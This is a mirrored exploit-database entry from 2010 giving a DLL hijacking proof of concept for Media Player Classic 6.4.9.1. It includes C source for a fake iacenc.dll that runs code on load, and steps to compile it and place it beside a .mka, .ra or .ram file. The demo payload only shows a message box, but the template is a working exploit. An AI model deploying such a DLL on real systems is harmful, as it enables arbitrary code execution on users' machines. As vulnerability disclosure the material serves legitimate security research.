Media Player Classic 6.4.9.1 – ‘iacenc.dll’ DLL Hijacking

  • 作者: LiquidWorm
    日期: 2010-08-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14788/
  • /*
    
     Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit
    
     Vendor: Gabest
     Product Web Page: http://sourceforge.net/projects/guliverkli
     Affected Version: 6.4.9.1 (revision 73)
    
     Summary: Media Player Classic (MPC) is a compact media player for
     32-bit Microsoft Windows. The application mimics the look and feel
     of the old, lightweight Windows Media Player 6.4 but integrates
     most options and features found in modern media players. It and
     its forks are standard media players in the K-Lite Codec Pack and
     the Combined Community Codec Pack.
    
     Desc: Media Player Classic suffers from a dll hijacking vulnerability
     that enables the attacker to execute arbitrary code on a local
     level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
     library.
    
     ----
     gcc -shared -o iacenc.dll mplayerc.c
    
     Compile and rename to iacenc.dll, create a file test.mka or any of the
     above vulnerable extensions and put both files in same dir and execute.
     ----
    
     Tested on Microsoft Windows XP Professional SP3 (EN)
    
    
    
     Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
     liquidworm gmail com
    
     Zero Science Lab - http://www.zeroscience.mk
    
    
     25.08.2010
    
    */
    
    
    #include <windows.h>
    
    BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
    
    	switch (fdwReason)
    	{
    		case DLL_PROCESS_ATTACH:
    		dll_mll();
    		case DLL_THREAD_ATTACH:
    		case DLL_THREAD_DETACH:
    		case DLL_PROCESS_DETACH:
    		break;
    	}
    
    	return TRUE;
    }
    
    int dll_mll()
    {
    	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
    }